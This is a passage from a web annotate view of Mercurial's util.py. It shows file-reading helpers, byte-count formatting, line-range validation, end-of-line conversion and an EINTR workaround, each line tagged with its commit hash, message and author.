parents:
30087
diff
changeset
|
2260 (default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2261 to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2262 chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2263 some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
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|
2264 requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2265 assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2266 assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2267 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2268 if limit is None: |
08a0f04b56bd
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Matt Mackall <mpm@selenic.com>
parents:
10264
diff
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|
2269 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
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diff
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|
2270 else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2271 nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2272 s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
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Matt Mackall <mpm@selenic.com>
parents:
10264
diff
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|
2273 if not s: |
08a0f04b56bd
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Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2274 break |
08a0f04b56bd
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Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2275 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2276 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2277 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
2278 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2279 class cappedreader(object): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2280 """A file object proxy that allows reading up to N bytes. |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
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|
2281 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2282 Given a source file object, instances of this type allow reading up to |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2283 N bytes from that source file object. Attempts to read past the allowed |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2284 limit are treated as EOF. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
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|
2285 |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2286 It is assumed that I/O is not performed on the original file object |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2287 in addition to I/O that is performed by this instance. If there is, |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2288 state tracking will get out of sync and unexpected results will ensue. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2289 """ |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2290 def __init__(self, fh, limit): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2291 """Allow reading up to <limit> bytes from <fh>.""" |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
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|
2292 self._fh = fh |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2293 self._left = limit |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2294 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2295 def read(self, n=-1): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2296 if not self._left: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2297 return b'' |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2298 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2299 if n < 0: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2300 n = self._left |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
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|
2301 |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2302 data = self._fh.read(min(n, self._left)) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2303 self._left -= len(data) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2304 assert self._left >= 0 |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
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36266
diff
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|
2305 |
01e29e885600
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2306 return data |
01e29e885600
util: add a file object proxy that can read at most N bytes
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parents:
36266
diff
changeset
|
2307 |
37052
8c3c47362934
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2308 def readinto(self, b): |
8c3c47362934
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
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|
2309 res = self.read(len(b)) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
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|
2310 if res is None: |
8c3c47362934
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37044
diff
changeset
|
2311 return None |
8c3c47362934
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parents:
37044
diff
changeset
|
2312 |
8c3c47362934
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parents:
37044
diff
changeset
|
2313 b[0:len(res)] = res |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2314 return len(res) |
8c3c47362934
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parents:
37044
diff
changeset
|
2315 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2316 def unitcountfn(*unittable): |
716cad930691
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parents:
18678
diff
changeset
|
2317 '''return a function that renders a readable count of some quantity''' |
716cad930691
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parents:
18678
diff
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|
2318 |
716cad930691
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parents:
18678
diff
changeset
|
2319 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
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parents:
18678
diff
changeset
|
2320 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2321 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2322 return format % (count / float(divisor)) |
716cad930691
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Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
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|
2323 return unittable[-1][2] % count |
716cad930691
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parents:
18678
diff
changeset
|
2324 |
716cad930691
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18678
diff
changeset
|
2325 return go |
716cad930691
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Bryan O'Sullivan <bryano@fb.com>
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18678
diff
changeset
|
2326 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2327 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2328 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2329 0-based range. |
080734cd2440
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Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2330 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2331 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2332 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2333 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2334 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2335 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2336 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2337 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2338 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2339 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2340 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2341 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2342 if toline - fromline < 0: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2343 raise error.ParseError(_("line range must be positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2344 if fromline < 1: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2345 raise error.ParseError(_("fromline must be strictly positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2346 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2347 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2348 bytecount = unitcountfn( |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2349 (100, 1 << 30, _('%.0f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2350 (10, 1 << 30, _('%.1f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2351 (1, 1 << 30, _('%.2f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2352 (100, 1 << 20, _('%.0f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2353 (10, 1 << 20, _('%.1f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2354 (1, 1 << 20, _('%.2f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2355 (100, 1 << 10, _('%.0f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2356 (10, 1 << 10, _('%.1f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2357 (1, 1 << 10, _('%.2f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2358 (1, 1, _('%.0f bytes')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2359 ) |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2360 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2361 class transformingwriter(object): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2362 """Writable file wrapper to transform data by function""" |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2363 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2364 def __init__(self, fp, encode): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
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|
2365 self._fp = fp |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2366 self._encode = encode |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
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|
2367 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2368 def close(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2369 self._fp.close() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2370 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2371 def flush(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2372 self._fp.flush() |
472c68cda3f8
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Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2373 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
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|
2374 def write(self, data): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2375 return self._fp.write(self._encode(data)) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2376 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2377 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2378 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2379 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2380 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2381 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2382 def tolf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2383 return _eolre.sub('\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2384 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2385 def tocrlf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2386 return _eolre.sub('\r\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2387 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2388 def _crlfwriter(fp): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2389 return transformingwriter(fp, tocrlf) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2390 |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2391 if pycompat.oslinesep == '\r\n': |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2392 tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2393 fromnativeeol = tolf |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2394 nativeeolwriter = _crlfwriter |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2395 else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2396 tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2397 fromnativeeol = pycompat.identity |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2398 nativeeolwriter = pycompat.identity |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2399 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2400 if (pyplatform.python_implementation() == 'CPython' and |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2401 sys.version_info < (3, 0)): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2402 # There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2403 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2404 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2405 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2406 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2407 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2408 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2409 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2410 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2411 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2412 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2413 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2414 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2415 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2416 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2417 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2418 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2419 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2420 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2421 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2422 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2423 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2424 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2425 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2426 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2427 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2428 def _safeiterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2429 return iter(fp.readline, '') |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2430 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2431 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2432 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2433 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2434 fd = fp.fileno() |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2435 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2436 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2437 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2438 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2439 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2440 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2441 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2442 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2443 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2444 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2445 line += buf |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2446 if '\n' in buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2447 splitted = line.splitlines(True) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2448 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2449 for l in splitted: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2450 if l[-1] == '\n': |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2451 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2452 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2453 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2454 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2455 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2456 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2457 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2458 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
